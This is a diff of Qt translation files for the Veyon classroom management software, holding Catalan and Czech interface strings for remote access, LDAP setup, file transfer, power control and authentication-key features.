068914fc-0f87-45df-a5b9-099a2a6d9141 + + + + + + Object UUID + + + + Parent UUID + + + + +USAGE + +%1 import <FILE> [room <ROOM>] [format <FORMAT-STRING-WITH-VARIABLES>] [regex <REGULAR-EXPRESSION-WITH-VARIABLES>] + +Valid variables: %type% %name% %host% %mac% %room% + +Examples: + +* Import simple CSV file to a single room: + + %1 import computers.csv room "Room 01" format "%name%;%host%;%mac%" + +* Import CSV file with room name in first column: + + %1 import computers-with-rooms.csv format "%room%,%name%,%mac%" + +* Import text file with with key/value pairs using regular expressions: + + %1 import hostlist.txt room "Room 01" regex "^NAME:(%name%:.*)\s+HOST:(%host%:.*)$" + +* Import arbitrarily formatted data: + + %1 import data.txt regex '^"(%room%:[^"]+)";"(%host%:[a-z\d\.]+)".*$' + + + + + + BuiltinUltraVncServer + + Builtin VNC server (UltraVNC) + + + + + BuiltinX11VncServer + + Builtin VNC server (x11vnc) + + + + + ComputerControlListModel + + Room: %1 + + + + Host/IP address: %1 + + + + Active features: %1 + + + + Online and connected + + + + Establishing connection + + + + Computer offline or switched off + + + + Service unreachable or not running + + + + Authentication failed or access denied + + + + Disconnected + + + + No user logged on + + + + Logged on user: %1 + + + + + ComputerControlServer + + %1 Service %2 at %3:%4 + + + + Authentication error + Error d'autentificació + + + Remote access + + + + User "%1" at host "%2" is now accessing this computer. + + + + User "%1" at host "%2" attempted to access this computer but could not authenticate successfully! + + + + + ComputerManagementView + + Computer management + + + + Add room + + + + Save computer/user list + + + + Select output filename + + + + CSV files (*.csv) + + + + File error + + + + Could not write the computer and users list to %1! Please check the file access permissions. + + + + Computer search + + + + + ComputerManager + + User + + + + Missing network object directory plugin + + + + No default network object directory plugin was found. Please check your installation or configure a different network object directory backend via %1 Configurator. + + + + Computer name;Host name;User + + + + Room detection failed + + + + Could not determine the room which this computer belongs to. This indicates a problem with the system configuration. All rooms will be shown in the computer management instead. + + + + + ConfigCommandLinePlugin + + Please specify an existing configuration file to import. + + + + Please specify a valid filename for the configuration export. + + + + Please specify a valid key. + + + + Specified key does not exist in current configuration! + + + + Please specify a valid value. + + + + Configure Veyon at command line + + + + Output file is not writable! + + + + Output directory is not writable! + + + + Configuration file is not readable! + + + + Clear system-wide Veyon configuration + + + + List all configuration keys and values + + + + Import configuration from given file + + + + Export configuration to given file + + + + Read and output configuration value for given key + + + + Write given value to given configuration key + + + + Unset (remove) given configuration key + + + + Commands for managing the configuration of Veyon + + + + Upgrade and save configuration of program and plugins + + + + + ConfigurationManager + + Could not modify the autostart property for the %1 Service. + + + + Could not configure the firewall configuration for the %1 Server. + + + + Could not configure the firewall configuration for the %1 Worker. + + + + Could not change the setting for SAS generation by software. Sending Ctrl+Alt+Del via remote control will not work! + + + + Configuration is not writable. Please check your permissions! + + + + + DemoClient + + %1 Demo + + + + + DemoConfigurationPage + + Demo server + + + + Tunables + + + + ms + + + + Key frame interval + + + + Memory limit + + + + Use multithreading (experimental) + + + + MB + + + + Update interval + + + + s + + + + + DemoFeaturePlugin + + Fullscreen demo + Demo a pantalla completa + + + Stop demo + + + + Window demo + Demo en finestra + + + Give a demonstration by screen broadcasting + + + + Demo server + + + + In this mode your screen is being displayed in fullscreen mode on all computers while input devices of the users are locked. + + + + In this mode your screen being displayed in a window on all computers. The users are able to switch to other windows as needed. + + + + + DesktopAccessDialog + + Desktop access dialog + + + + Confirm desktop access + Confirmeu l'accés a l'escriptori + + + Never for this session + Mai per a aquesta sessió + + + Always for this session + Sempre per a aquesta sessió + + + The user %1 at computer %2 wants to access your desktop. Do you want to grant access? + + + + + DesktopServicesConfigurationPage + + Programs & websites + + + + Predefined programs + + + + Name + Nom + + + Path + + + + Add new program + + + + Remove selected program + + + + Predefined websites + + + + Remove selected website + + + + URL + + + + New program + + + + New website + + + + + DesktopServicesFeaturePlugin + + Run program + + + + Open website + + + + Click this button to open a website on all computers. + + + + Please enter the URL of the website to open: + + + + Start programs and services in user desktop + + + + Click this button to run a program on all computers. + + + + Run program "%1" + + + + Custom program + + + + Open website "%1" + + + + Custom website + + + + + ExternalVncServer + + External VNC server + + + + + ExternalVncServerConfigurationWidget + + External VNC server configuration + + + + Port: + + + + Password: + + + + + FeatureControl + + Feature control + + + + + FileTransferController + + Could not open file "%1" for reading! Please check your permissions! + + + + + FileTransferDialog + + File transfer + + + + Options + + + + Transfer only + + + + Transfer and open file(s) with associated program + + + + Transfer and open destination folder + + + + Files + + + + Start + + + + Overwrite existing files + + + + + FileTransferPlugin + + File transfer + + + + Click this button to transfer files from your computer to all computers. + + + + Select one or more files to transfer + + + + Transfer files to remote computer + + + + Received file "%1". + + + + Could not receive file "%1" as it already exists. + + + + Could not receive file "%1" as it could not be opened for writing! + + + + + GeneralConfigurationPage + + User interface + Interfície d'usuari + + + Language: + Llengua: + + + Use system language setting + + + + Veyon + + + + Logging + Registre + + + Log file directory + Carpeta dels fitxers de registre + + + ... + ... + + + Log level + Nivell de registre + + + Nothing + Res + + + Only critical messages + Només missatges crítics + + + Errors and critical messages + Errors i missatges crítics + + + Warnings and errors + Avisos i errors + + + Information, warnings and errors + Informació, avisos i errors + + + Debug messages and everything else + Missatges de depuració i tota la resta + + + Limit log file size + Límita la mida del fitxer de registre + + + Clear all log files + Buida tots els fitxers de registre + + + Log to standard error output + Registra en la sortida d'error estàndard + + + Network object directory + + + + Backend: + + + + Update interval: + + + + %1 service + + + + The %1 service needs to be stopped temporarily in order to remove the log files. Continue? + + + + Log files cleared + Fitxers de registre buidats + + + All log files were cleared successfully. + Tots els fitxers de registre s'han buidat amb èxit. + + + Error + Error + + + Could not remove all log files. + No s'han pogut buidar tots els fitxers de registre. + + + MB + + + + Rotate log files + + + + x + + + + seconds + + + + Write to logging system of operating system + + + + Authentication + Autentificació + + + Method: + + + + Logon authentication + Autentificació d'inici de sessió + + + Key file authentication + Autentificació amb fitxers de claus + + + + InternetAccessControlConfigurationPage + + Internet access control + + + + Backend: + + + + General settings + + + + Backend settings + + + + + InternetAccessControlPlugin + + Block access to the internet + + + + Allow access to the internet + + + + Show help about command + + + + Block internet + + + + Click this button to block access to the internet. + + + + Unblock internet + + + + Click this button to allow access to the internet. + + + + Control access to the internet + + + + Commands for controlling access to the internet + + + + + LdapBrowseDialog + + Browse LDAP + + + + + LdapClient + + LDAP error description: %1 + + + + No LDAP error description available + + + + + LdapConfigurationPage + + LDAP + + + + Basic settings + + + + General + General + + + LDAP server and port + + + + Bind DN + + + + Bind password + + + + Anonymous bind + + + + Use bind credentials + + + + Test + Comprova + + + Base DN + + + + Fixed base DN + + + + e.g. dc=example,dc=org + + + + Discover base DN by naming context + + + + e.g. namingContexts or defaultNamingContext + + + + Environment settings + + + + Object trees + + + + Computer tree + + + + e.g. OU=Groups + + + + User tree + + + + e.g. OU=Users + + + + e.g. OU=Computers + + + + Group tree + + + + Perform recursive search operations in object trees + + + + Object attributes + + + + e.g. hwAddress + + + + Computer host name attribute + + + + e.g. member or memberUid + + + + User login attribute + + + + e.g. dNSHostName + + + + Computer MAC address attribute + + + + Group member attribute + + + + e.g. uid or sAMAccountName + + + + Host names stored as fully qualified domain names (FQDN, e.g. myhost.example.org) + + + + Advanced settings + + + + Optional object filters + + + + Filter for user groups + + + + Filter for users + + + + Filter for computer groups + + + + Group member identification + + + + Distinguished name (Samba/AD) + + + + Configured attribute for user login or computer host name (OpenLDAP) + + + + List all groups of a user + + + + List all groups of a computer + + + + Get computer object by IP address + + + + LDAP connection failed + + + + LDAP bind failed + + + + LDAP bind successful + + + + Successfully connected to the LDAP server and performed an LDAP bind. The basic LDAP settings are configured correctly. + + + + LDAP base DN test failed + + + + LDAP base DN test successful + + + + LDAP naming context test failed + + + + LDAP naming context test successful + + + + The LDAP naming context has been queried successfully. The following base DN was found: +%1 + + + + user tree + + + + group tree + + + + computer tree + + + + Enter username + + + + Please enter a user login name (wildcards allowed) which to query: + + + + user objects + + + + user login attribute + + + + Enter group name + + + + Please enter a group name whose members to query: + + + + group members + + + + group member attribute + + + + Group not found + + + + Could not find a group with the name "%1". Please check the group name or the group tree parameter. + + + + Enter computer name + + + + Please enter a computer host name to query: + + + + Invalid host name + + + + You configured computer host names to be stored as fully qualified domain names (FQDN) but entered a host name without domain. + + + + You configured computer host names to be stored as simple host names without a domain name but entered a host name with a domain name part. + + + + computer objects + + + + computer host name attribute + + + + Enter computer DN + + + + Please enter the DN of a computer whose MAC address to query: + + + + computer MAC addresses + + + + computer MAC address attribute + + + + users + + + + user groups + + + + computer groups + + + + Please enter a user login name whose group memberships to query: + + + + groups of user + + + + user login attribute or group membership attribute + + + + User not found + + + + Could not find a user with the name "%1". Please check the user name or the user tree parameter. + + + + Enter host name + + + + Please enter a computer host name whose group memberships to query: + + + + groups of computer + + + + computer host name attribute or group membership attribute + + + + Computer not found + + + + Could not find a computer with the host name "%1". Please check the host name or the computer tree parameter. + + + + Enter computer IP address + + + + Please enter a computer IP address which to resolve to an computer object: + + + + Host name lookup failed + + + + Could not lookup host name for IP address %1. Please check your DNS server settings. + + + + computers + + + + LDAP %1 test failed + + + + Could not query any entries in configured %1. Please check the %1 parameter. + +%2 + + + + LDAP %1 test successful + + + + The %1 has been queried successfully and %2 entries were found. + + + + Could not query any %1. Please check the %2 parameter or enter the name of an existing object. + +%3 + + + + %1 %2 have been queried successfully: + +%3 + + + + LDAP filter test failed + + + + Could not query any %1 using the configured filter. Please check the LDAP filter for %1. + +%2 + + + + LDAP filter test successful + + + + %1 %2 have been queried successfully using the configured filter. + + + + (only if different from group tree) + + + + Computer group tree + + + + computer group tree + + + + Filter for computers + + + + e.g. room or computerLab + + + + List all members of a computer room + + + + List all computer rooms + + + + Enter computer room name + + + + Please enter the name of a computer room (wildcards allowed): + + + + computer rooms + + + + computer room attribute + + + + Please enter the name of a computer room whose members to query: + + + + computer room members + + + + computer group filter or computer room member aggregation + + + + Computer rooms + + + + Integration tests + + + + Computer room attribute + + + + Aggregate computers in a room via: + + + + Computer groups + + + + Computer room attribute in computer objects + + + + Test not applicable + + + + Computer room name attribute + + + + e.g. name or description + + + + Filter for computer containers + + + + Computer containers or OUs + + + + Please change the computer room settings to use computer groups or computer containers as computer rooms. Then the specified attribute instead of the common name of computer groups or container objects will be queried. Otherwise you don't need to configure this attribute. + + + + Please change the computer room settings below to use computer containers as computer rooms. Otherwise you don't need to configure this filter. + + + + Connection security + + + + TLS certificate verification + + + + System defaults + + + + Never (insecure!) + + + + Custom CA certificate file + + + + None + + + + TLS + + + + SSL + + + + e.g. (objectClass=computer) + + + + e.g. (objectClass=group) + + + + e.g. (objectClass=person) + + + + e.g. (objectClass=room) or (objectClass=computerLab) + + + + e.g. (objectClass=container) or (objectClass=organizationalUnit) + + + + Could not query the configured base DN. Please check the base DN parameter. + +%1 + + + + The LDAP base DN has been queried successfully. The following entries were found: + +%1 + + + + Could not query the base DN via naming contexts. Please check the naming context attribute parameter. + +%1 + + + + Certificate files (*.pem) + + + + Could not connect to the LDAP server. Please check the server parameters. + +%1 + + + + Could not bind to the LDAP server. Please check the server parameters and bind credentials. + +%1 + + + + Encryption protocol + + + + + LdapPlugin + + Auto-configure the base DN via naming context + + + + Query objects from LDAP directory + + + + Show help about command + + + + Commands for configuring and testing LDAP/AD integration + + + + Provide LDAP/AD integration for Veyon + + + + LDAP (load computers and rooms from LDAP/AD) + + + + LDAP (load users and groups from LDAP/AD) + + + + + LicensingConfigurationPage + + Licensing + + + + Installed licenses + + + + Add new network range + + + + Remove selected network range + + + + ID + + + + Feature + + + + Valid until + + + + Licensee + + + + Browse license file + + + + Veyon license files (*.vlf) + + + + Remove license + + + + Do you really want to remove the selected license? + + + + <N/A> + + + + Invalid license file + + + + Could not open the license file for reading! + + + + The selected license file does not contain valid data. + + + + The selected license file could not be verified. + + + + The selected license file is not valid for this installation. + + + + The selected license file is expired. + + + + The license is already installed. + + + + + LicensingPlugin + + Show help for specific command + + + + Show all installed licenses + + + + Add license file + + + + Remove installed license + + + + +USAGE + +%1 add <LICENSE FILE> + + + + + + +USAGE + +%1 remove <LICENSE ID> + + + + + + No certificate found with given ID + + + + <N/A> + + + + Licensing management + + + + Commands for managing license keys + + + + + LinuxPlatformPlugin + + Plugin implementing abstract functions for the Linux platform + + + + + MainToolBar + + Configuration + + + + Disable balloon tooltips + + + + Show icons only + + + + + MainWindow + + MainWindow + Finestra principal + + + toolBar + Barra d'eines + + + General + General + + + &File + &Fitxer + + + &Help + &Ajuda + + + &Quit + &Surt + + + Ctrl+Q + Ctrl+Q + + + Ctrl+S + Ctrl+S + + + L&oad settings from file + &Carrega els ajustaments des d'un fitxer + + + Ctrl+O + Ctrl+O + + + About Qt + Quant a Qt + + + Authentication impossible + Autentificació impossible + + + Configuration not writable + La configuració no es pot escriure + + + Load settings from file + Carregar ajustaments des d'un fitxer + + + Save settings to file + Desa els ajustaments en un fitxer + + + Unsaved settings + Ajustaments no desats + + + There are unsaved settings. Quit anyway? + Hi ha ajustaments no desats. Voleu sortir de totes formes? + + + Veyon Configurator + + + + Service + + + + Master + + + + Access control + + + + About Veyon + + + + Auto + + + + Computer rooms + + + + About + Quant a + + + %1 Configurator %2 + + + + JSON files (*.json) + + + + The local configuration backend reported that the configuration is not writable! Please run the %1 Configurator with higher privileges. + + + + No authentication key files were found or your current ones are outdated. Please create new key files using the %1 Configurator. Alternatively set up logon authentication using the %1 Configurator. Otherwise you won't be able to access computers using %1. + + + + Access denied + + + + According to the local configuration you're not allowed to access computers in the network. Please log in with a different account or let your system administrator check the local configuration. + + + + Screenshots + + + + Feature active + + + + The feature "%1" is still active. Please stop it before closing %2. + + + + Reset configuration + + + + Do you really want to reset the local configuration and revert all settings to their defaults? + + + + Search users and computers + + + + Adjust optimal size + + + + Align computers to grid + + + + Use custom computer placement + + + + %1 Configurator + + + + Insufficient privileges + + + + Could not start with administrative privileges. Please make sure a sudo-like program is installed for your desktop environment! The program will be run with normal user privileges. + + + + Only show powered on computers + + + + &Save settings to file + + + + &View + + + + &Standard + + + + &Advanced + + + + + MasterConfigurationPage + + Directories + Carpetes + + + ... + ... + + + User configuration + + + + Feature on computer double click: + + + + Automatically switch to current room at start + + + + Features + + + + All features + + + + Disabled features + + + + Perform access control at program start + + + + Screenshots + + + + <no feature> + + + + Automatically adjust computer thumbnail size at start + + + + Basic settings + + + + Behaviour + + + + Enforce selected mode for client computers + + + + Only show current room + + + + Allow adding rooms manually + + + + Hide local computer + + + + Hide empty rooms + + + + Hide computer filter field + + + + Actions such as rebooting or powering down computers + + + + Show confirmation dialog for potential dangerous actions + + + + User interface + Interfície d'usuari + + + Background color + + + + Thumbnail update interval + + + + ms + + + + Program start + + + + Modes and features + + + + User and computer name + + + + Only user name + + + + Only computer name + + + + Computer thumbnail caption + + + + Computer rooms + + + + Automatically open computer rooms widget + + + + Text color + + + + Sort order + + + + Computer and user name + + + + + MonitoringMode + + Monitoring + + + + Builtin monitoring mode + + + + This is the default mode and allows you to monitor all computers in one or more rooms. + + + + + NetworkDiscoveryConfigurationPage + + Network discovery + + + + Mode + + + + Scan network ranges + + + + e.g. 192.168.1.0/24 + + + + Scan all subnets of computer + + + + Scan custom subnet + + + + Scan sessions on local computer + + + + Test + Comprova + + + Network ranges + + + + Add new group + + + + Remove selected group + + + + Groups + + + + First address + + + + Last address + + + + Add new network range + + + + Remove selected network range + + + + Parallel scans + + + + Scan timeout + + + + ms + + + + Session scan limit + + + + New group + + + + Options + + + + Reverse lookup discovered IP addresses to host names + + + + + NetworkDiscoveryDirectory + + Scanning... + + + + Discovered computers + + + + + NetworkDiscoveryPlugin + + Show help for specific command + + + + Scan a subnet + + + + +USAGE + +%1 scan [<SUBNET>] + + + + + + Network object directory which automatically discovers computers in the network + + + + Network discovery (scan network for Veyon clients) + + + + Commands for managing the network discovery directory + + + + + NetworkObjectTreeModel + + Room/Computer + + + + + PasswordDialog + + Username + Nom d'usuari + + + Password + Clau d'accés + + + Veyon Logon + + + + Authentication error + + + + Logon failed with given username and password. Please try again! + + + + Please enter your username and password in order to access computers. + + + + + PowerControlFeaturePlugin + + Power on + Engega + + + Click this button to power on all computers. This way you do not have to power on each computer by hand. + + + + Reboot + Reinicia + + + Click this button to reboot all computers. + + + + Power down + Apaga + + + Click this button to power down all computers. This way you do not have to power down each computer by hand. + + + + Power on/down or reboot a computer + + + + Confirm reboot + + + + Confirm power down + + + + Do you really want to reboot the selected computers? + + + + Do you really want to power down the selected computer? + + + + Power on a computer via Wake-on-LAN (WOL) + + + + MAC ADDRESS + + + + This command broadcasts a Wake-on-LAN (WOL) packet to the network in order to power on the computer with the given MAC address. + + + + Please specify the command to display help for! + + + + Invalid MAC address specified! + + + + Commands for controlling power status of computers + + + + + RemoteAccessFeaturePlugin + + Remote view + + + + Open a remote view for a computer without interaction. + + + + Remote control + Control remot + + + Open a remote control window for a computer. + + + + Remote access + + + + Remote view or control a computer + + + + Please enter the hostname or IP address of the computer to access: + + + + Show help about command + + + + + RemoteAccessWidget + + %1 - %2 Remote Access + + + + + RemoteAccessWidgetToolBar + + View only + Només veure + + + Remote control + Control remot + + + Send shortcut + + + + Fullscreen + Pantalla completa + + + Window + Finestra + + + Quit + Surt + + + Ctrl+Alt+Del + + + + Ctrl+Esc + + + + Alt+Tab + + + + Alt+F4 + + + + Win+Tab + + + + Win + + + + Menu + + + + Alt+Ctrl+F1 + + + + Connecting %1 + S'està connectant a %1 + + + Connected. + Connectat. + + + Screenshot + + + + + RoomSelectionDialog + + Room selection + + + + enter search filter... + + + + + Routing + + Control internet access by modifying routing table + + + + + RoutingConfigurationWidget + + Remove default routes to block internet access + + + + Add custom route to block internet + + + + Destination + + + + Gateway + + + + + RunProgramDialog + + Please enter the programs or commands to run on the selected computer(s). You can separate multiple programs/commands by line. + + + + Run programs + + + + e.g. "C:\Program Files\VideoLAN\VLC\vlc.exe" + + + + + ScreenLockFeaturePlugin + + Lock + + + + Unlock + + + + Lock screen and input devices of a computer + + + + To reclaim all user's full attention you can lock their computers using this button. In this mode all input devices are locked and the screens are blacked. + + + + + Screenshot + + unknown + + + + Could not take a screenshot as directory %1 doesn't exist and couldn't be created. + + + + Screenshot + + + + + ScreenshotFeaturePlugin + + Screenshot + + + + Use this function to take a screenshot of selected computers. + + + + Screenshots taken + + + + Screenshot of %1 computer have been taken successfully. + + + + Take screenshots of computers and save them locally. + + + + + ScreenshotManagementView + + User: + + + + Date: + + + + Time: + + + + Show + + + + Delete + + + + All screenshots taken by you are listed here. You can take screenshots by clicking the "Screenshot" item in the context menu of a computer. The screenshots can be managed using the buttons below. + + + + Computer: + + + + + ServiceConfigurationPage + + General + General + + + Autostart + Arranc automàtic + + + Hide tray icon + Ocultar icona de la barra del sistema + + + Start service + Inicia el servei + + + Stopped + Aturat + + + Stop service + Atura el servei + + + State: + Estat: + + + Enable SAS generation by software (Ctrl+Alt+Del) + + + + Network + Xarxa + + + Demo server port + Port del servidor demo + + + Enable firewall exception + Activar excepció en el tallafocs + + + Allow connections from localhost only + Permet connexions només des d'aquest equip + + + Internal VNC server port + + + + VNC server + + + + Plugin: + + + + Restart %1 Service + + + + All settings were saved successfully. In order to take effect the %1 service needs to be restarted. Restart it now? + + + + Running + Funcionant + + + Feature manager port + + + + Primary service port + + + + Enabling this option will make the service launch a server process for every interactive session on a computer. +Typically this is required to support terminal servers. + + + + Multi session support (experimental) + + + + Show notification on remote connection + + + + Show notification on failed authentication attempts + + + + + ServiceControl + + Starting service %1 + + + + Stopping service %1 + + + + Registering service %1 + + + + Unregistering service %1 + + + + Service control + + + + + ServiceControlPlugin + + Service is running + + + + Service is not running + + + + Configure and control Veyon service + + + + Register Veyon Service + + + + Unregister Veyon Service + + + + Start Veyon Service + + + + Stop Veyon Service + + + + Restart Veyon Service + + + + Query status of Veyon Service + + + + Commands for configuring and controlling Veyon Service + + + + + ShellCommandLinePlugin + + Run command file + + + + File "%1" does not exist! + + + + Interactive shell and script execution for Veyon Control + + + + Commands for shell functionalities + + + + + SystemTrayIcon + + System tray icon + + + + + SystemUserGroupsPlugin + + User groups backend for system user groups + + + + Default (system user groups) + + + + + TextMessageDialog + + Send text message + Envia missatge de text + + + Use the field below to type your message which will be sent to all selected users. + Utilitzeu el camp de sota per escriure el missatge que serà enviat als usuaris seleccionats. + + + + TextMessageFeaturePlugin + + Text message + Missatge de text + + + Use this function to send a text message to all users e.g. to assign them new tasks. + + + + Message from teacher + Missatge del professor + + + Send a message to a user + + + + + UltraVncConfigurationWidget + + Enable capturing of layered (semi-transparent) windows + Habilita la captura de finestres apilades (semitransparents) + + + Poll full screen (leave this enabled per default) + Monitora tota la pantalla (deixa activat per defecte) + + + Low accuracy (turbo mode) + Baixa precissió (mode turbo) + + + Builtin UltraVNC server configuration + + + + Enable multi monitor support + + + + Enable Desktop Duplication Engine on Windows 8 and newer + + + + + UserConfig + + No write access + Sense permís d'escriptura + + + Could not save your personal settings! Please check the user configuration file path using the %1 Configurator. + + + + + UserSessionControl + + User session control + + + + Click this button to logout users from all computers. + + + + Confirm user logout + + + + Do you really want to logout the selected users? + + + + Logout + + + + + VeyonCore + + [OK] + + + + [FAIL] + + + + Invalid command! + + + + Available commands: + + + + Invalid arguments given + + + + Not enough arguments given - use "%1 help" for more information + + + + Unknown result! + + + + Available modules: + + + + No module specified or module not found - available modules are: + + + + Plugin not licensed + + + + INFO + + + + ERROR + + + + licensed for + + + + + VeyonServiceControl + + Veyon Service + + + + + VncView + + Establishing connection to %1 ... + S'està establint connexió amb %1 ... + + + + WindowsPlatformPlugin + + Plugin implementing abstract functions for the Windows platform + + + + + WindowsServiceControl + + WindowsServiceControl: the service "%1" is already installed. + + + + WindowsServiceControl: the service "%1" could not be installed. + + + + WindowsServiceControl: the service "%1" has been installed successfully. + + + + WindowsServiceControl: the service "%1" could not be uninstalled. + + + + WindowsServiceControl: the service "%1" has been uninstalled successfully. + + + + WindowsServiceControl: the start type of service "%1" could not be changed. + + + + WindowsServiceControl: service "%1" could not be found. + + + + + X11VncConfigurationWidget + + Builtin x11vnc server configuration + + + + Custom x11vnc parameters: + + + + Do not use X Damage extension + + + + \ No newline at end of file diff --git a/translations/cs.ts b/translations/cs.ts new file mode 100644 index 0000000..83e3846 --- /dev/null +++ b/translations/cs.ts @@ -0,0 +1,3926 @@ + + + AboutDialog + + About + O aplikaci + + + Translation + Překlad + + + License + Licence + + + About Veyon + O aplikaci Veyon + + + Contributors + Na vývoji se podíleli + + + Version: + Verze: + + + Website: + Webové stránky: + + + Current language not translated yet (or native English). + +If you're interested in translating Veyon into your local or another language or want to improve an existing translation, please contact a Veyon developer! + Texty rozhraní aplikace už jsou přeložené do tohoto jazyka. + +Pokud ale překlad není kompletní a nebo by potřeboval vylepšit, případně máte zájem vytvořit/doplnit/vylepšit překlad jiného jazyka, kontaktujte vývojáře aplikace Veyon! + + + About %1 %2 + O %1 %2 + + + Support Veyon project with a donation + Podpořit projekt Veyon darem + + + + AccessControlPage + + Computer access control + Řízení přístupu k počítači + + + Grant access to every authenticated user (default) + Zpřístupnit všem ověřeným uživatelům (výchozí) + + + Test + Vyzkoušet funkčnost + + + Restrict access to members of certain user groups + Omezit přístup na členy určitých skupin uživatelů + + + Process access control rules + Zpracovat pravidla řízení přístupu + + + User groups authorized for computer access + Skupiny uživatelů pověřených pro přístup k počítači + + + Please add the groups whose members should be authorized to access computers in your Veyon network. + Přidejte skupiny jejichž členové budou moci přistupovat k počítačům v rámci sítě s Veyon. + + + Authorized user groups + Skupiny pověřených uživatelů + + + All groups + Všechny skupiny + + + ... + … + + + Access control rules + Pravidla řízení přístupu + + + Add access control rule + Přidat pravidlo řízení přístupu + + + Remove access control rule + Odebrat pravidlo řízení přístupu + + + Move selected rule down + Posunout označené pravidlo níž + + + Move selected rule up + Posunout označené pravidlo výš + + + Edit selected rule + Upravit označené pravidlo + + + Enter username + Zadejte uživatelské jméno + + + Please enter a user login name whose access permissions to test: + Zadejte uživatelské jméno jehož přístupová práva chcete vyzkoušet: + + + Access allowed + Přístup umožněn + + + The specified user is allowed to access computers with this configuration. + Zadanému uživateli je umožněn přístup k počítačům s tímto nastavením. + + + Access denied + Přístup odepřen + + + The specified user is not allowed to access computers with this configuration. + Zadanému uživateli není umožněn přístup k počítačům s tímto nastavením. + + + Enable usage of domain groups + Používat doménové skupiny + + + User groups backend: + Podpůrná vrstva uživatelských skupin: + + + Missing user groups backend + Chybí podpůrná vrstva uživatelských skupin + + + No default user groups plugin was found. Please check your installation! + Nebyl nalezen žádný výchozí zásuvný modul uživatelských skupin. Zkontrolujte svou instalaci! + + + + AccessControlRuleEditDialog + + Edit access control rule + Upravit pravidlo řízení přístupu + + + General + Obecné + + + enter a short name for the rule here + sem zadejte stručný název tohoto pravidla + + + Rule name: + Název pravidla: + + + enter a description for the rule here + sem zadejte popis pravidla + + + Rule description: + Popis pravidla: + + + Invert all conditions ("is/has" interpreted as "is/has not") + Převrátit všechny podmínky („je/má“ si vykládat jako není/nemá) + + + Conditions + Podmínky + + + is member of group + je členem skupiny + + + is located in room + nachází se v místnosti + + + Accessing computer is localhost + Přistupující počítač přistupuje sám na sebe + + + Accessing user is logged on user + Přistupující uživatel přistupuje sám na sebe + + + Accessing user is already connected + Přistupující uživatel je už připojený + + + If more than one condition is activated each condition has to meet in order to make the rule apply (logical AND). If only one of multiple conditions has to meet (logical OR) please create multiple access control rules. + Pokud je zapnutá více než jedna, pak aby se pravidlo uplatnilo je třeba, aby byly splněné všechny podmínky (logické A). Pokud postačí splnit pouze jednu z daných podmínek (logické NEBO) vytvořte pravidlo řízení přístupu pro každou zvlášť. + + + Action + Akce + + + Allow access + Umožnit přístup + + + Deny access + Odepřít přístup + + + Ask logged on user for permission + Požádat přihlášeného uživatele o svolení + + + None (rule disabled) + Žádné (pravidlo vypnuto) + + + Accessing user + Přistupující uživatel + + + Accessing computer + Přistupující počítač + + + Local (logged on) user + Uživatel na tomto počítači (právě přihlášený) + + + Local computer + Tento počítač + + + Always process rule and ignore conditions + Ignorovat podmínky a pravidlo zpracovat vždy + + + No user logged on + Není přihlášený žádný uživatel + + + Accessing computer is located in the same room as local computer + Přistupující počítač se nachází ve stejné místnosti jako tento počítač + + + Accessing user has one or more groups in common with local (logged on) user + Přistupující uživatel má jednu nebo více skupin společných s uživatelem, který je právě přihlášený k počítači + + + + AccessControlRulesTestDialog + + Access control rules test + Test pravidel řízení přístupu + + + Accessing user: + Přistupující uživatel: + + + Local computer: + Počítač ke kterému se přistupuje: + + + Accessing computer: + Přistupující počítač: + + + Please enter the following user and computer information in order to test the configured ruleset. + Pro vyzkoušení nastavené sady pravidel zadejte následující údaje o uživateli a počítači. + + + Local user: + Místní uživatel: + + + Connected users: + Připojení uživatelé: + + + The access in the given scenario is allowed. + Přístup je v daném scénáři umožněn. + + + The access in the given scenario is denied. + Přístup je v daném scénáři odepřen. + + + The access in the given scenario needs permission of the logged on user. + Přístup v zadaném scénáři vyžaduje svolení od přihlášeného uživatele. + + + ERROR: Unknown action + CHYBA: neznámá akce + + + Test result + Výsledek zkoušky fungování + + + + AuthKeysConfigurationPage + + Authentication keys + Ověřovací klíče + + + Introduction + Úvod + + + Key file directories + Složky souboru s klíčem + + + Public key file base directory + Základní složka pro veřejnou část klíče + + + Private key file base directory + Základní složka pro soukromou část klíče + + + ... + … + + + Available authentication keys + Ověřovací klíče k dispozici + + + Create key pair + Vytvořit dvojici klíčů + + + Delete key + Smazat klíč + + + Import key + Importovat klíč + + + Export key + Exportovat klíč + + + Set access group + Nastavit přístupovou skupinu + + + Key files (*.pem) + Soubory s klíči (*.pem) + + + Authentication key name + Název ověřovacího klíče + + + Please enter the name of the user group or role for which to create an authentication key pair: + Zadejte název uživatelské skupiny nebo role pro kterou chcete vytvořit ověřovací klíč: + + + Do you really want to delete authentication key "%1/%2"? + Opravdu chcete smazat ověřovací klíč „%1/%2“? + + + Please select a key to delete! + Vyberte klíč, který chcete smazat! + + + Please enter the name of the user group or role for which to import the authentication key: + Zadejte název uživatelské skupiny nebo role pro kterou chcete importovat ověřovací klíč: + + + Please select a key to export! + Vyberte klíč který chcete exportovat! + + + Please select a user group which to grant access to key "%1": + Vyberte uživatelskou skupinu které udělit přístup ke klíči „%1“: + + + Please select a key which to set the access group for! + Vyberte klíč pro který nastavit přístupovou skupinu! + + + Please perform the following steps to set up key file authentication: + Pro nastavení ověřování souborem s klíčem proveďte následující kroky: + + + 1) Create a key pair on the master computer. + 1) Vytvořte dvojici klíčů na řídícím počítači. + + + 2) Set an access group whose members should be allowed to access other computers. + 2( Nastavte přístupovou skupinu jejíž členům by mělo být umožněno přistupovat k ostatním počítačům. + + + 3) Export the public key and import it on all client computers with the same name. + 3) Exportujte veřejnou část klíče a importujte ji na všechny klientské počítače pod stejným názvem. + + + Please refer to the <a href="https://veyon.readthedocs.io/en/latest/admin/index.html">Veyon Administrator Manual</a> for more information. + Nahlédněte do <a href="https://veyon.readthedocs.io/en/latest/admin/index.html">Příručky správy Veyon</a> pro další informace. + + + An authentication key pair consist of two coupled cryptographic keys, a private and a public key. +A private key allows users on the master computer to access client computers. +It is important that only authorized users have read access to the private key file. +The public key is used on client computers to authenticate incoming connection request. + Dvojice ověřovacích klíčů je tvořena propojovacími šifrovacími klíči, soukromým a veřejným. +Soukromá část umožňuje uživatelům na hlavním počítači přistupovat ke klientským počítačům. +Je důležité aby pouze pověření uživatelé mohli číst soubor se soukromou částí klíče. +Veřejná část je použita na klientských počítačích pro ověření příchozího požadavku na připojení. + + + + AuthKeysManager + + Please check your permissions. + Zkontrolujte svá oprávnění. + + + Key name contains invalid characters! + Název klíče obsahuje neplatné znaky! + + + Invalid key type specified! Please specify "%1" or "%2". + Zadán neplatný typ klíče! Zadejte „%1“ nebo „%2“. + 